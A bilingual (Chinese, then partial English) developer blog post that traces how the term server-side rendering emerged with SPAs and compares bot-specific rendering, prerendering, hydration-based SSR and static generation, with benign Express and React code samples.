有點像是我問我朋友他買的便當多少錢時,他會回我:「100 塊」,而不是「100 塊新台幣」,因為我們都預設了幣值是新台幣,所以不用特別多此一舉。同理,那時候只有從 server render 這條路,所以根本不需要特別提什麼 SSR。
但是後來 SPA 盛行,許多東西開始變成 CSR,此時就會碰到只有 CSR 才會碰到的問題如 SEO 等等,這時候為了解決這些問題,勢必有些東西要讓 server 去處理,在這種狀況下,Server-side rendering 這個詞才產生了新的意義,變成了「為了解決 CSR 的問題,產生的 server 端解決方案」
因此,將 PHP 稱之為 SSR 沒也不行,但卻是沒有意義的。
就像是如果我們把「飲料」定義為「可以喝的液體」,那你能不能說酸辣湯也是一種飲料?照定義來看沒有問題,但當有人問你「最喜歡喝的飲料是什麼?」的時候,你會說酸辣湯嗎?應該不會,而我們也不會把酸辣湯稱之為是飲料。
同理,雖然 SSR 字面上的意思是那樣,PHP 這種傳統 server 輸出內容的方案也可以稱之為 SSR,但你不會這樣叫它。SSR 更適合拿來指涉的是「用來解決 SPA 問題的 server 端解決方案」。
寫到這裡我就開始好奇了,那是不是在 SPA 與 CSR 流行以前,SSR 這個詞真的很少被使用?如果是的話,那到底從什麼時候開始的?還有,我對 SSR 的認識基本上是從 React 開始,那難道更早的框架如 Angular、Ember 或甚至是 backbone 等等,都沒有這問題嗎?如果有的話,他們的解決方案又稱之為什麼?
於是我開始了一段要花費很多時間,討論的問題或許也沒這麼重要,但我自己很樂在其中的探索之路。
前面有提過我的主張是:「SSR 一詞在 SPA 盛行後開始跟著流行起來,專門指涉處理 CSR 與 SPA 問題的 server 端解決方案」
而我認為 SPA 的發展與整個網頁前端的發展其實滿有關聯的,因此先帶大家回顧一下歷史吧!
1995 年 JavaScript 正式推出,而當時雖然 JavaScript 的功能沒有這麼成熟,但已經有其他的技術可以在網頁上跑一個應用程式起來,就是 Java Applet。
而 Flash 在 1996 年發布,早期 JavaScript 還沒這麼強大時,要做比較完整的網頁應用程式,應該都是透過 Java Applet 或是 Flash。
那要到什麼時候,JavaScript 才成熟到真的可以獨當一面,用它來寫一個網頁應用程式呢?這個答案會跟技術的發展有關,作為一個需要跟後端溝通的網頁應用程式,最需要的是什麼?
是一個現在已經跟空氣和水一樣存在的東西:XMLHttpRequest。
想要不換頁就能獨立運作並且與 server 溝通,XMLHttpRequest 是必要條件,必須先有 XMLHttpRequest 這個 API,才能不換頁就能與 server 交換資料。
不過在最剛開始的時候,並不是所有的瀏覽器都用 XMLHttpRequest,最早有這個概念的微軟用的是 ActiveXObject,從 2006 年第一版的 jQuery 原始碼就能驗證這件事:
// If IE is used, create a wrapper for the XMLHttpRequest objectif ( jQuery.browser.msie && typeof XMLHttpRequest == "undefined" ) XMLHttpRequest = function(){ return new ActiveXObject( navigator.userAgent.indexOf("MSIE 5") >= 0 ? "Microsoft.XMLHTTP" : "Msxml2.XMLHTTP" ); };
講到了 XMLHttpRequest 之後,理所當然就會提到 Ajax,這個詞來自於 2005 年 2 月 18 日 Jesse James Garrett 發表的這篇文章:Ajax: A New Approach to Web Applications,裡面描述了一種使用 HTML + CSS + DOM + XMLHttpRequest 的新型溝通模式,我認為就是 SPA 的雛型了
(圖片來自於上面提到的文章)
另外,在文章裡也有提到 XMLHttpRequest 與 Ajax 的不同之處:
Q. Is Ajax just another name for XMLHttpRequest?
A. No. XMLHttpRequest is only part of the Ajax equation. XMLHttpRequest is the technical component that makes the asynchronous server communication possible; Ajax is our name for the overall approach described in the article, which relies not only on XMLHttpRequest, but on CSS, DOM, and other technologies.
從歷史的資料看起來,微軟的 Outlook 似乎是最早提起並運用這些技術的產品,從 2000 年就開始了,但論起大量運用並讓這個名詞廣為人知的話,就屬 2004 ~ 2005 年左右的 Google 了。
而差不多在這個時期,JavaScript 的生態系也迎來了蓬勃的發展,出現了一堆 library 如 Prototype、Dojo Toolkit 以及 MooTools 等等,還有 2006 年誕生的 YUI(Yahoo! User Interface Library)以及至今靈壓依然存在的 jQuery,都讓網頁前端得到了更進一步的發展,2007 年也出現了 Ext JS 這種專門拿來寫網頁應用的框架。
雖然說這些函式庫們都讓寫網頁變得更加容易,但 SPA 在這個時候還沒有流行起來,而是要等到兩位大前輩的誕生。
2010 年 10 月 13 日,Backbone.js 釋出了第一個版本,而一週後的 10 月 20 日,則是 AngularJS 首次發佈的日子。
而過了一年之後,別的 SPA 前端框架也出現了,分別是 2011 年 12 月 8 日發布的 Ember.js,以及 2012 年 1 月 20 出現的 Meteor.js。
一般來說一個新的框架出現以後,大概至少都要過個半年一年左右才會真正流行起來,因此我認為 2011 以及 2012 這兩年是 SPA 興起的開端,但是該用什麼資料來佐證呢?
關鍵字搜尋趨勢一定程度代表了當時某些技術名詞的流行程度,從下圖可以看出來,SPA 一詞大概是從 2011、2012 年左右開始一路攀升,與我的推測吻合(但這個數據其實不太精確就是了,可我一時想不到更好的了):
(至於 2004、2005 那個高峰是什麼,我不知道,但很想知道的。或許跟一堆 Google 服務的流行有關?有線索的可以私訊或是留言討論)
之後的故事大家就比較熟悉了,2013 年 5 月 React 正式發佈,2014 年 2 月則是 Vue,隨著前端框架的盛行,SPA 也變得越來越流行,到了今天甚至變成了前端開發的主流。
從上面的發展史中可以得知開創 SPA 盛世的元老就屬 Backbone.js 以及 AngularJS 了,那他們是怎麼解決 CSR 的問題,例如說 SEO?
先來看 AngularJS 好了,我在 GitHub 上找到一個 2013 年的專案:angular-on-server,在 wiki 的前言中寫著:
We need to pre-render pages on the server for Google to index. We don’t want to have to repeat ourselves on the back end. I found a few examples of server-side rendering for Backbone applications, but none showing how to do it with AngularJS. To make this work I have modified a couple of Node modules, jsdom and xmlhttprequest. They are loaded from local subdirectories (/jsdom-with-xmlhttprequest and /xmlhttprequest).
如果他所言為真,就代表當時 AngularJS 的 SSR 解決方案並不多,大多數都是 Backbone.js 的。
從我找到的資料來看,似乎也是如此,像是這篇 2013 年的發問:AngularJS - server-side rendering,從回答中就可以看出解法確實不多。
而 AngularJS 官方正式支援 SSR,是要一直到 2015 年 6 月底的這個演講:Angular 2 Server Rendering,在演講結束後幾天後開源了 Universal Angular 2,也就是現在的 Angular Universal 的前身。
在當時的 README 中,說明寫著:
Universal (isomorphic) JavaScript support for Angular 2
看到 isomorphic 這個詞,應該勾起了不少人當年的回憶,但這個我們等等再談,先來看 Backbone.js 又是怎麼解決 SPA 問題的。
我有在 GitHub 上面找到一個 2011 年的古老範例:Backbone-With-Server-Side-Rendering,README 寫著:
Backbone.js is a great tool for organizing your javascript code into models, collections and views, without tying your data to the DOM elements. However, most tutorials show how to render the HTML only via Backbone (client-side), which means that none of your content is crawled by search engines. This is possibly a major problem if you’re not making an app hidden behind an authentication system.
比較特別的地方在於這個專案的 SSR 是透過 Ruby on Rails 實作的,但我看了一下原始碼,感覺比較像一個實驗性質的專案,透過後端把HTML 輸出,接著到了前端再由 Backbone.js 接手,是一個簡單的小範例,而非完整的 demo。
如果想要更完整的解決方案,就屬 2013 年由 Airbnb 開源出來的 Rendr 了。
在 2013 年 1 月 30 日,Airbnb 的技術部落格發表了一篇新的文章:Our First Node.js App: Backbone on the Client and Server,裡面講到了 SPA 會有的問題,以及有許多邏輯在前後端都各有一份,想要做整合。而最後的解法就是 Rendr 這個套件,能把 Backbone.js 搬到 server 去執行。
至於 Rendr 的開源則是過了三個月以後的這篇文章宣布的:We’ve open sourced Rendr: Run your Backbone.js apps in the browser and Node.js,裡面寫說:
Many developers shared the same pain points with the traditional client-side MVC approach: poor pageload performance, lack of SEO, duplication of application logic, and context switching between languages.
可見當時有大量的開發者也都意識到了 SPA 的問題,並且想要一個比較完善的解決方案。
想要把 Backbone.js 搬到 server 去執行,有個先決條件,那就是 server 要可以執行 JavaScript。
Node.js 是在 2009 年釋出的,而 Express 是在 2010 年底,NPM 則是 2011 年。2012 年中的時候 Node.js 還在 v0.8.0,是很早期的階段。從現在回頭看,Node.js 開始被大量使用,應該就差不多是 2012 ~ 2013 開始的。
總之呢,從我找到的資料來看,或許最早被廣泛運用於 SSR 的 library 就是 2013 推出的 Rendr 了,它能夠做到的事情是「在一開始由 server-side render,但是到了 client-side 以後由 JavaScript 接手」,如同 Airbnb 的文章中寫到的:
Your great new product can run on both sides of the wire, serving up real HTML on first pageload, but then kicking off a client-side JavaScript app. In other words, the Holy Grail.
底下這張圖就是所謂的 Holy Grail,取自 Airbnb 當初發表的文章:
寫到這邊,整理一下時間軸以及我個人的猜測。
從 2010 年底 Backbone.js 釋出以後,SPA 開始變得逐漸流行起來,而大家也意識到了畫面在前端渲染會碰到的問題,因此開始各自實作起不同的解決方案,也就是 server-side rendering。
而 Backbone.js 一直到了 2013 年 Airbnb 開源了 Rendr 以後,才終於有了一個最理想的解法,那就是「首次渲染在 server side,而之後的話渲染都在 client side,並且 client 跟 server 是共用同一套程式碼」
「同一行程式碼既可以跑在 client 又可以跑在 server」,這個概念就是前面所提到的 isomorphic。
順帶一提,Ember.js 官方的 SSR 解法應該是要到 2014 年底的這篇:Inside FastBoot: The Road to Server-Side Rendering
再補充一件事情,根據 The History of React.js on a Timeline 這篇文章,FaxJS 是 React 的前身,而在 2011 年底開源的時候就有 server-side rendering 的 API,可以把元件渲染成 static HTML,並且在 client-side 把事件裝回去:https://github.com/jordwalke/FaxJs/tree/5962e3a7268fc4fe0251631ec9d874f0c0f52b66#optional-server-side-rendering
Isomorphic JavaScript 一詞來自於 Charlie Robbins 在 2011 年 10 月 18 日發表的文章:Scaling Isomorphic Javascript Code
文章中有提到了 Isomorphic 的定義:
Javascript is now an isomorphic language. By isomorphic we mean that any given line of code (with notable exceptions) can execute both on the client and the server.
而更多細節可以在 Airbnb 於 2013 年 11 月 12 日發布的這篇文章中找到:Isomorphic JavaScript: The Future of Web Apps
在文章裡面還有附上了一個實際案例,很值得參考:isomorphic-tutorial。
除此之外,文章裡面有提到在 Rendr 之前還有三個 Isomorphic JavaScript 的先行者,一個是 2012 年 Yahoo! 開源的 Mojito,在文章中提到了一個美好的想像:
Imagine a framework where the first page-load was always rendered server-side, and desktop browsers subsequently just made calls to API endpoints returning JSON or XML, and the client only rendered the changed portions of the page.
基本上就是現在主流前端的運作方式。
另一個則是 Meteor.js,第三個是 Asana 的 Luna,這個 Luna 挺有趣的,仔細看之後發現語法有點 React 的味道。
而 Isomorphic 這個詞一直到 2015 年 Michael Jackson 的這篇文章出來以後,才漸漸被「Universal」給取代:Universal JavaScript。
這篇文章主要覺得比起 Isomorphic 這個詞,Universal 更能表達原本想表達的意涵,而且聽眾們會更容易理解,因此提倡用 Universal JavaScript 來替代 Isomorphic JavaScript。
寫到這裡,我自己回答了我之前的幾個疑問:
Q: 那是不是在 SPA 與 CSR 流行以前,SSR 這個詞真的很少被使用?如果是的話,那到底從什麼時候開始的?
不確定,因為沒有特別找更早以前的資料佐證,但如果是看 SSR 這個詞的搜尋趨勢的話,大概是從 2012~2013 左右開始起飛的,跟 SPA 開始流行的時間點差不多。
Q: 我對 SSR 的認識基本上是從 React 開始,那難道更早的框架如 Angular、Ember 或甚至是 backbone 等等,都沒有這問題嗎?如果有的話,他們的解決方案又稱之為什麼?
他們有相同的問題,而解法一樣稱之為 SSR。
說實在的,討論 SSR 這個名詞的明確定義確實沒什麼太大意義,反倒有點太鑽牛角尖了,而且也很難有個結論,或是說服別人:「這個定義才是對的」,只要在溝通的時候確保雙方的認知一致即可。
在談到 SSR 的時候,很多人都只關注到 SEO 的問題,但如果再更仔細想一點,其實需要利用 SSR 解決的,可不只有 SEO。
SSR 想解決的問題,就是 CSR 會造成的問題,包括:
如果用了 CSR,由於畫面都是透過 JavaScript 所產生,搜尋引擎只會爬到空白的 HTML,就算 Google 會執行 JavaScript,其他搜尋引擎也不一定會。就算所有搜尋引擎都會執行 JavaScript,你也很難保證爬出來的結果是你要的。
舉例來說,你很難掌握它們執行完 JavaScript 以後,到底什麼時候會結束。如果抓取資料的 API 要兩秒以後才會有 response,那假設搜尋引擎執行 JavaScript 以後只等一秒就當作最終結果,那結果還是不會有資料。
社群平台的 link preview 則是另一個問題,那些 <meta>
標籤在 client 產生是沒有用的,通常這些社群平台的 bot 是不會去執行 JavaScript 的,只看 response,所以 CSR 的頁面的 <meta>
永遠只能是同一個,沒辦法根據不同頁面動態決定內容。
第三點跟第四點可以一起看,雖然現在的裝置基本上都跑得很快,能夠快速執行 JavaScript,但不排除在 JavaScript 很大一包而且裝置比較舊的情況之下,執行 JavaScript 還是需要一段時間。
CSR 的網頁要到什麼時候使用者才能看到畫面?要先下載完 JavaScript,下載完還要執行,執行結束更新 DOM 以後,使用者才能看到完整的畫面。在等待的期間,畫面就是一片空白,雖然有些網站會做個 loading,但總之使用者體驗不是很好。
如果能在一開始的 response 就拿到畫面,那使用者體驗就會變好,效能也會增加,就算是很舊的裝置,也能在一開始就看到畫面,不需要等 JavaScript 執行完畢。
其實這篇一開始只想寫這個段落的,殊不知寫著寫著就變成了前端歷史的考古文。
因應剛剛提到的 CSR 會產生的問題,就產生出了多種解法,每一種都不太一樣,而且並不一定能一次解決所有的問題。
這種解法只解了 SEO 跟 link preview 的問題,當 server 端收到的請求來自於搜尋引擎或是社群平台的 bot 時,就直接利用原本後端的 template 輸出結果。
像是這樣:
const express = require('express');const app = express();app.get('/games/:id', (req, res) => { const userAgent = req.headers['user-agent']; // 檢查 User Agent 是否為 Googlebot if (userAgent.includes('Googlebot')) { // 如果是 Googlebot,輸出 SEO 相關的 HTML 與 meta tags const game = API.getGame(req.params.id); res.send(` <html> <head> <title>${game.title}</title> <meta name="description" content="${game.desc}"> </head> <body> <h1>${game.title}</h1> <p>${game.desc}</p> </body> </html> `); } else { // 如果不是 Googlebot,回傳 index.html res.sendFile(__dirname + '/public/index.html'); }});app.listen(3000, () => { console.log('Server is running on port 3000');});
對於一般使用者來說,效能跟使用者體驗的問題還是沒有解決,這種解法只解了 SEO 跟 link preview,確保這些 bot 抓到的畫面是 HTML。
我自己有在工作上實作過這種方式,優點就是簡單快速,而且跟 SPA 互不干擾,缺點大概就是 Google bot 看到的頁面會跟使用者看到的不一樣,有可能影響到 SEO 分數,畢竟針對 Google bot 輸出特殊頁面是 anti-pattern,叫做 cloaking。
雖然我們的出發點是好的,但仍然是不被官方建議的行為,可以參考 Google 官方的影片:Can we serve Googlebot a different page with no ads?,裡面就提到了最好是 exact same page。
但比起讓 Google bot 什麼都看不到,這個解法應該還是更好一些。
這個解法最知名的框架是 Prerender,簡單來講就是先在 server 端用 puppeteer 之類的 headless browser 去開啟你的頁面並且執行 JavaScript,然後把結果保存成 HTML。
當搜尋引擎來要資料的時候,就輸出這個 HTML,因此使用者跟 bot 看到的畫面是一樣的。
我有在 local 試了一下,用 create-react-app 簡單寫了一個頁面:
import logo from './logo.svg';import './App.css';import { useState, useEffect } from 'react'function App() { console.log('render') const [data, setData] = useState([]); useEffect(() => { document.querySelector('title').textContent = 'I am new title' fetch('https://cat-fact.herokuapp.com/facts/').then(res => res.json()) .then(a => { setData(a); }) }, []) function test() { alert('click') } return ( <div className="App"> <header className="App-header"> <img src={logo} className="App-logo" alt="logo" /> {data && data.map(item => ( <div>{item.text}</div> ))} <a className="App-link" href="https://reactjs.org" target="_blank" rel="noopener noreferrer" > Learn React Can you see me now? </a> <button onClick={test}>hello</button> </header> </div> );}export default App;
主要想測的有幾點:
經過 prerender 以後,輸出的 HTML 為:
<!DOCTYPE html><html lang="en"> <head> <meta charset="utf-8"> <link rel="icon" href="http://localhost:5555/favicon.ico"> <meta name="viewport" content="width=device-width,initial-scale=1"> <meta name="theme-color" content="#000000"> <meta name="description" content="Web site created using create-react-app"> <link rel="apple-touch-icon" href="http://localhost:5555/logo192.png"> <link rel="manifest" href="http://localhost:5555/manifest.json"> <title>I am new title</title> <script defer="defer" src="http://localhost:5555/static/js/main.21981749.js"></script> <link href="http://localhost:5555/static/css/main.f855e6bc.css" rel="stylesheet"> </head> <body> <noscript>You need to enable JavaScript to run this app.</noscript> <div id="root"> <div class="App"> <header class="App-header"> <img src="/static/media/logo.6ce24c58023cc2f8fd88fe9d219db6c6.svg" class="App-logo" alt="logo"> <div>When asked if her husband had any hobbies, Mary Todd Lincoln is said to have replied "cats."</div> <div>Cats make about 100 different sounds. Dogs make only about 10.</div> <div>Owning a cat can reduce the risk of stroke and heart attack by a third.</div> <div>Most cats are lactose intolerant, and milk can cause painful stomach cramps and diarrhea. It's best to forego the milk and just give your cat the standard: clean, cool drinking water.</div> <div>It was illegal to slay cats in ancient Egypt, in large part because they provided the great service of controlling the rat population.</div> <a class="App-link" href="https://reactjs.org" target="_blank" rel="noopener noreferrer">Learn React Can you see me now?</a> <button>hello</button> </header> </div> </div> </body></html>
title 有變了,內容也是 useEffect()
的 fetch
執行完並且 render 完的結果,按了按鈕以後也可以觸發事件,看起來沒什麼問題。
如果更仔細看一下,prerender 渲染出來的頁面執行流程跟正常 React app 差不多,唯一的差別在於原本的 HTML 就已經有東西了,但整個 React 還是會執行一次,並且將整個頁面重新渲染。
因此會出現底下狀況:
這個解法依然是只針對搜尋引擎,跟第一種的差別在於使用者跟搜尋引擎看到的頁面會更相近,但其實還是不太一樣,畢竟一般使用者看到的還是什麼都沒有的頁面。
那可以把 pre-render 的頁面也拿給一般使用者看嗎?
是可以,但如果有 API 的話會變得有點奇怪,如上所述,初始狀態 state 是沒有資料的,但是 HTML 有,因此使用者看到的頁面就會是:有資料(因為 pre-render HTML) => 沒資料(state 初始化) => 有資料(在 client 打 API),在體驗上會不太好,所以通常也不會這樣做。
這個解法的優點也是方便,不需要改到原本的 SPA,只需要在 server 那邊加一個 middleware 即可,而缺點的話則是實作起來比第一種複雜,而且有滿多細節要注意的,可以參考:Funliday 重磅推出新的 prerender 套件 pppr 以及 在 ModernWeb 2020 分享的「pppr - 解決 JavaScript 無法被搜尋引擎正確索引的問題」。
這一種就是前面一直提到的:「在 server 產生第一個畫面的 HTML,而後續的操作都交給 client」,相較於前兩者,這是更理想的 SSR,也是俗稱的 Isomorphic/Universal。
因為這種的做法不只解決了 SEO 的問題,也解決了使用者體驗的問題。當使用者造訪網站時,就可以立刻看到渲染完的結果,但此時畫面因為 JavaScript 沒有執行完,可能沒有辦法操作,需要等 JavaScript 執行完畢並且把 event handler 掛上時,才能真的跟頁面互動。
另外,由於初始畫面已經在 server 渲染好了,所以在 client 端通常不需要再修改一次 DOM,只需要把 event handler 掛上去,這個流程稱為 hydration,中文通常翻作「水合」。
我覺得這個詞用得相當有畫面感,就把它想成是 SSR 輸出的頁面是被「脫水」過的,非常扁平乾燥,就只有畫面而已,沒辦法跟它互動。到了 client 以後,就需要把這個乾燥的畫面注入水,加上 event handler,讓整個頁面「活起來」,才能重現生機,變成可互動的頁面。
然而,這種解法的缺點就是實作起來更複雜一點,需要考慮到的問題是 API,例如說如果把 API call 放在 useEffect
裡面,那在 server render 時就不可能執行到,最後渲染出來的頁面就是沒有任何資料的狀態。
因此,可能要幫每個頁面都加上一個 function 去拿取資料,拿完之後放到 props 去,在 server side render 時才能正確輸出有資料的頁面。
也因為這個比較複雜,所以通常都交給框架來做了,像是 Next.js 就是採用我前面講的做法(Pages Router),會在頁面加上一個 getServerSideProps
的 function。
順帶一提,Next.js 的第一版是 2016 年 10 月 25 釋出的。
這算是針對產品情境特化的 SSR,剛剛講的第三種,是在每一個 request 都會做一次 render,產生出初始畫面。但如果你的頁面對於每一個 user 來說都長一樣(例如說官方網站的公司介紹),那其實根本不用在 run time 做這件事,在 build time 就好了。
於是,有一種做法是在 build time 的時候就會把頁面 render 好,速度會快上許多。
這種方法在 Next.js 裡面被稱之為 Static Site Generation,簡稱為 SSG。
整理一下剛剛講的四種:
不同的文件對於這幾種的稱呼都不同,接著來看幾份文件。
第一份是 web.dev 的:Rendering on the Web,在文末有一個光譜:
第一種沒特別提到,第二種比較像是「CSR with Prerendering」,但又好像不太像,第三種是:「SSR with (Re)hydration」,第四種是:「Static SSR」。
這篇對於 SSR 的定義為:
Server-side rendering (SSR): rendering a client-side or universal app to HTML on the server.
所以像是第一種並沒有在 server 端去 render client-side app,應該也不會被算作 SSR。
第二份是 Next.js 官方的文件:https://nextjs.org/docs/pages/building-your-application/rendering
有提到的就是第三種叫做 SSR,第四種叫做 SSG。而這邊的定義其實又更不同了一點,它把「在 server 端產生 SPA 的 HTML」這件事情叫做 pre-render:
By default, Next.js pre-renders every page. This means that Next.js generates HTML for each page in advance, instead of having it all done by client-side JavaScript. Pre-rendering can result in better performance and SEO.
而 SSR 專門指的是「每次 request 都產生 HTML」,藉此跟 SSG 做出區別。
第三份來看 Nuxt.js:https://nuxt.com/docs/guide/concepts/rendering
文件裡面把第三種稱之為:「Universal Rendering」,其實我覺得取得還滿不錯的:
To not lose the benefits of the client-side rendering method, such as dynamic interfaces and pages transitions, the Client (browser) loads the JavaScript code that runs on the Server in the background once the HTML document has been downloaded. The browser interprets it again (hence Universal rendering) and Vue.js takes control of the document and enables interactivity.
至於對 SSR 的定義,似乎沒有寫得太明確,不過從底下這句看起來:
This step is similar to traditional server-side rendering performed by PHP or Ruby applications.
應該是「只要在 server render 畫面」都可以叫做 SSR。
最後來看 Angular 的:https://angular.io/guide/ssr
它對 SSR 的定義為:
Server-side rendering (SSR) is a process that involves rendering pages on the server, resulting in initial HTML content which contains initial page state.
這定義看起來應該跟剛那種差不多,只要是「rendering pages on the server」都可以稱之為 SSR。
來講一下我寫到這邊以後,對於 SSR 的一些想法。
老實說我一開始好像有點把問題搞得太複雜了,SSR 就單純是指「在 server render 畫面」這件事情而已,所以確實只要符合這個前提就可以叫做 SSR。
其實這篇原本想寫的只有剛剛講的那幾種不同的 SSR 解決方案,但還沒寫之前就突然好奇起了 SSR 的定義,才有了開頭那些探索歷史的段落。
更重要的應該是對於 SSR 這個議題,是否能回答出要解決的問題是什麼,該怎麼解決,以及每種解法的優缺點等等,並不是每個網頁都需要 Next.js 才能做 SSR,要根據情境去選擇合適的技術。
接著,我們來談談現在進行式以及未來。
原本我們提到的第三種解法看起來已經很完美了對吧?既可以在 server 端渲染畫面,解決 SEO 以及 first paint 的效能問題,又可以在 client 端做 hydration,讓後續操作都有 SPA 的體驗。
但其實還有能夠持續改善的地方。
前面有稍微提到 hydration 的一個小問題,那就是在 hydration 完成以前,雖然看到畫面了,但是這個網頁是沒辦法互動的。例如說你在 input 打字,可能不會有反應,因為那時候 event handler 還沒掛上去,或是 component 還沒 render 完。
那這該怎麼辦呢?有另外一個名詞出現了,叫做:Progressive Hydration,比起一次 hydration 整個頁面,不如一個一個區塊來做,還可以分優先順序,先把比較重要的區塊做完,使用者就可以馬上互動,再來做比較沒這麼重要的區塊。
除此之外,你會發現一個網頁的某幾個區塊,可能根本就不需要做 hydration,因為是不會變的,像是 footer 好了,根本沒有狀態,從頭到尾都長一樣。此時就可以運用另一種技巧叫做 Selective Hydration,提前 render 不需要 hydration 的區塊。
2019 年時,Etsy 的前端架構師 Katie Sylor-Miller 提出了 Islands Architecture,將一個網頁看作是由不同的小島組成:
上面這張圖就很能體現剛剛講的 selective hydration。當我們採用這樣的架構並且搭配 selective hydration 以及其他技巧之後,就能夠更快速地渲染,並且得到更好的效能。
例如說 Astro 就是使用了這樣的架構,整個頁面都是 static 的,只有需要互動的地方會獨立成為一個小島:
<MyReactComponent client:load />
React 目前也往這個方向在發展,server component 在這點上就滿類似的,藉由把頁面區分成 server 跟 client component,決定哪些需要狀態哪些不需要,不需要的就直接在 server render 完再送來 client,需要的就維持以前的作法。
這種方式確實會再讓網頁往上加速,但同時開發也變得越來越複雜,有更多東西需要考慮,debug 也更不方便了一些,一些心得跟細節我之後再寫篇文章分享吧。
我自己真正接觸各種前端工具的時間其實比較晚一點,撇除最開始寫 FrontPage 或是 Dreamweaver 那種不談,大概 2012 年左右開始寫 jQuery,接著就是觀望各種前端的發展但都沒有碰過,有曾經想學過 AngularJS(那時候真的很夯)還有 Ember.js,但就是懶。
是一直到 2015 年才開始在工作上接觸到 React,那時候是 React 剛在台灣要流行起來的時候。
所以早期 Backbone.js 那個年代的東西我沒有參與到,在寫這篇文章的時候找了不少資料,其實還滿有趣的,算是幫自己補足了沒有參與到的那一段歷史。
在查資料的時候,也發現 Yahoo! 真的是網頁前端的先行者,例如說 Atomic CSS 就是 Yahoo! 開始的,而這次也發現 2012 年時 Yahoo! 就已經在使用 Universal JavaScript 的網頁框架了。
如果你對 SSR 有不同的見解,或是覺得我對歷史發展脈絡的詮釋有點誤會,可以直接寫一篇新的文章與我交流,畢竟有些概念不是三言兩語可以講清楚的,寫篇文章比較完整;或是也可以透過留言討論。
renderToString
to render React into a string, but there is no data. The data is fetched on the frontend.renderToString
to output HTML. On the client-side, hydration is performed to make the page interactive.Some people believe that any view generated by the backend is considered SSR, so all scenarios 1 to 5 are SSR. Others think that the frontend must be an SPA for it to be called SSR, so scenarios 2 to 5 are SSR. Yet, some people consider hydration as the key aspect of SSR, so only scenario 5 (or 45) is SSR.
Five years ago, I wrote an article discussing SPA and SSR: Understanding Technical Terms with Xiao Ming: MVC, SPA, and SSR. My thoughts back then align with my current ones.
By “current me,” I mean that I haven’t fully organized my thoughts yet. I’m writing this preface, and the content below is still unfinished. I will share the thoughts of “future me” at the end. However, for now, my current perspective is that “not all ways of generating views from the server can be ‘appropriately’ called SSR.”
Let’s consider a hypothetical scenario:
A: Hey, how do you render your company’s web pages?
B: We use SSR.
A: Oh, so what framework do you use for SSR?
B: Just plain PHP, no framework. The frontend is built with jQuery.
Now, another example:
A: Dealing with SSR issues has been quite frustrating lately. It’s challenging to handle the data.
B: It’s been fine for us. We’ve been using PHP without any major issues.
Although the term “server-side rendering” literally means rendering by the server, so there’s no problem in calling PHP SSR based on its literal meaning, I believe the key question is “Why do we need the term SSR?”
My understanding is that in the era before SPA became popular, there wasn’t much that fell under CSR (Client-side rendering), so there was no need for the term SSR. At that time, you would simply say, “We use PHP” rather than saying, “We use PHP for SSR.”
It’s somewhat similar to when I ask my friend how much his lunchbox costs, and he replies, “100 bucks” instead of “100 New Taiwan Dollars” because we assume the currency is New Taiwan Dollars, so there’s no need to explicitly mention it. Similarly, back then, there was only one path of rendering from the server, so there was no need to specifically mention SSR.
However, with the rise of SPAs, many things started to shift towards CSR. This led to problems that only CSR encounters, such as SEO. In such cases, certain aspects need to be handled by the server to solve these problems. In this context, the term “Server-side rendering” took on a new meaning, becoming a “server-side solution to address CSR issues.”
Therefore, calling PHP SSR is not entirely accurate; it lacks meaning.
It’s like if we define “beverage” as “a drinkable liquid,” can you say that hot and sour soup is also a type of beverage? Technically, there’s no issue with the definition, but when someone asks you, “What’s your favorite beverage?” would you say hot and sour soup? Probably not. Similarly, we don’t refer to hot and sour soup as a beverage.
Likewise, although SSR literally means that, PHP, which is a traditional server-side content rendering solution, can be called SSR, but you wouldn’t refer to it that way. SSR is more suitable to refer to a “server-side solution used to address SPA issues.”
I started to become curious at this point. Was SSR really not commonly used before the popularity of SPA and CSR? If so, when did it start? Also, my understanding of SSR basically started with React. So, did earlier frameworks like Angular, Ember, or even Backbone not have this issue? If they did, what were their solutions called?
So, I embarked on a journey of exploration that would take a lot of time, perhaps discussing issues that may not be so important, but I enjoyed the process.
As mentioned earlier, my argument is that the term “SSR” started to become popular after the rise of SPA, specifically referring to server-side solutions for handling CSR and SPA issues.
I believe that the development of SPA is closely related to the overall development of frontend web technologies. So, let’s take a look back at history!
JavaScript was officially introduced in 1995. Although JavaScript’s functionality was not as mature at the time, there were already other technologies that could run an application on a webpage, such as Java Applets.
Flash was released in 1996. In the early days when JavaScript was not as powerful, Java Applets or Flash were used to create more complete web applications.
So, when did JavaScript mature enough to stand on its own and be used to write a web application? The answer is related to technological advancements. As a web application that needs to communicate with the backend, what is most needed?
It is something that now exists as naturally as air and water: XMLHttpRequest.
To be able to operate independently and communicate with the server without page reloads, XMLHttpRequest is a necessary condition. We needed the XMLHttpRequest API to exchange data with the server without page reloads.
However, in the beginning, not all browsers used XMLHttpRequest. Microsoft, which had the concept first, used ActiveXObject. This can be verified from the first version of jQuery’s source code from 2006:
// If IE is used, create a wrapper for the XMLHttpRequest objectif ( jQuery.browser.msie && typeof XMLHttpRequest == "undefined" ) XMLHttpRequest = function(){ return new ActiveXObject( navigator.userAgent.indexOf("MSIE 5") >= 0 ? "Microsoft.XMLHTTP" : "Msxml2.XMLHTTP" ); };
After mentioning XMLHttpRequest, it is natural to talk about Ajax. The term “Ajax” comes from an article published by Jesse James Garrett on February 18, 2005, titled Ajax: A New Approach to Web Applications. It describes a new communication pattern using HTML, CSS, DOM, and XMLHttpRequest, which I believe is the prototype of SPA.
(Image from the mentioned article)
In the article, there is also a mention of the difference between XMLHttpRequest and Ajax:
Q. Is Ajax just another name for XMLHttpRequest?
A. No. XMLHttpRequest is only part of the Ajax equation. XMLHttpRequest is the technical component that makes the asynchronous server communication possible; Ajax is our name for the overall approach described in the article, which relies not only on XMLHttpRequest but on CSS, DOM, and other technologies.
From historical data, it seems that Microsoft Outlook was the earliest product to mention and utilize these technologies, starting in 2000. However, in terms of widespread use and popularization of the term, it belongs to Google around 2004-2005.
Around this time, the JavaScript ecosystem also experienced vigorous development. Many libraries emerged, such as Prototype, Dojo Toolkit, MooTools, and the still-existing jQuery, which further advanced frontend web development. In 2006, YUI (Yahoo! User Interface Library) was born, and Ext JS, a framework specifically designed for web applications, appeared in 2007.
Although these libraries make web development easier, SPA did not become popular until the birth of two pioneers.
On October 13, 2010, Backbone.js released its first version, followed by the initial release of AngularJS a week later on October 20.
A year later, other SPA frontend frameworks emerged. Ember.js was released on December 8, 2011, and Meteor.js appeared on January 20, 2012.
Typically, it takes at least six months to a year for a new framework to become popular. Therefore, I believe that 2011 and 2012 marked the beginning of the rise of SPA. But how can we support this claim?
